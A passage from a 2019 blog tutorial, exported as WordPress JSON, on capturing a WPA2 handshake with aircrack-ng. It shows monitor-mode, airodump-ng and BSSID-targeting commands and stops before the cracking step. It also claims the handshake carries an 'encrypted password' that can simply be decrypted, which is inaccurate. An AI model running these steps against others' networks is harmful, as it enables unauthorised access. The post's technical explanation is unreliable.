{"id":37406,"date":"2019-10-31T22:17:27","date_gmt":"2019-10-31T19:17:27","guid":{"rendered":"https:\/\/prohoster.info\/blog\/podbor-parolya-wi-fi-utilitoj-aircrack-ng\/"},"modified":"2019-10-31T22:17:27","modified_gmt":"2019-10-31T19:17:27","slug":"podbor-parolya-wi-fi-utilitoj-aircrack-ng","status":"publish","type":"post","link":"https:\/\/prohoster.info\/en\/blog\/administrirovanie\/podbor-parolya-wi-fi-utilitoj-aircrack-ng","title":{"rendered":"Password Selection for Wi-Fi Using aircrack-ng Utility","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

This article is written solely for informational and research purposes. We urge you to follow network operation rules and laws, and always remember about information security.<\/i><\/p><\/blockquote>\n

Introduction<\/h3>\n

\nIn the early 1990s, when Wi-Fi first emerged, the Wired Equivalent Privacy algorithm was created to ensure the privacy of Wi-Fi networks. However, WEP turned out to be an ineffective security algorithm that could be easily hacked.<\/p>\n

It was replaced by a new protection algorithm, Wi-Fi Protected Access II (WPA2), which is now used by most Wi-Fi access points. WPA2 employs the AES encryption algorithm, which is extremely difficult to break.
\n<\/a><\/noindex><\/p>\n

But where is the vulnerability?<\/h3>\n

\nThe downside of WPA2 is that the encrypted password is transmitted during the so-called 4-way handshake. If we capture the handshake, we can learn the encrypted password and then just decrypt it. For this purpose, we'll use aircrack-ng.<\/p>\n

So how do we hack it?<\/h3>\n

<\/p>\n

Step 1. Identify the Interface<\/h4>\n

\nFirst, we need to find out which network interface we need, for this we enter the command:<\/p>\n

$ ifconfig<\/code><\/pre>\n
\nWe get the response:<\/p>\n
eth0      no wireless extensions.\n\nwlan0     IEEE 802.11abgn  ESSID:off\/any\nMode:Managed  Access Point: Not-Associated   Tx-Power=15 dBm\nRetry short limit:7   RTS thr:off   Fragment thr:off\nEncryption key:off\nPower Management:off\n\nlo        no wireless extensions<\/code><\/pre>\n
\nIn my case, there are only three interfaces, two of which do not have wireless extensions. Therefore, we are only interested in wlan0.<\/p>\n
Step 2. Switch the Network Adapter to Monitor Mode<\/h4>\n
\nSwitching the network adapter to monitor mode will allow us to see wireless traffic passing by. To do this, we enter the command:<\/p>\n
$ airmon-ng start wlan0<\/code><\/pre>\n
\nNote that airmon-ng renamed your interface (mine became mon0, but you should check).<\/p>\n
Step 3. Capture Traffic<\/h4>\n
\nNow that our network adapter is in monitor mode, we can capture the traffic passing by using the airodump-ng command. We enter:<\/p>\n
$ airodump-ng mon0<\/code><\/pre>\n
\n\"Password
\n
\nNote that all visible access points are listed at the top of the screen, while clients are at the bottom.<\/p>\n
Step 4. Focus the Capture on a Specific Access Point.<\/h4>\n
\nOur next step is to focus our efforts on one access point and its channel. We are interested in the BSSID and channel number of the access point we will be cracking. Let's open another terminal and enter:<\/p>\n
$ airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0<\/code><\/pre>\n
\n\"Password
\n<\/p>\n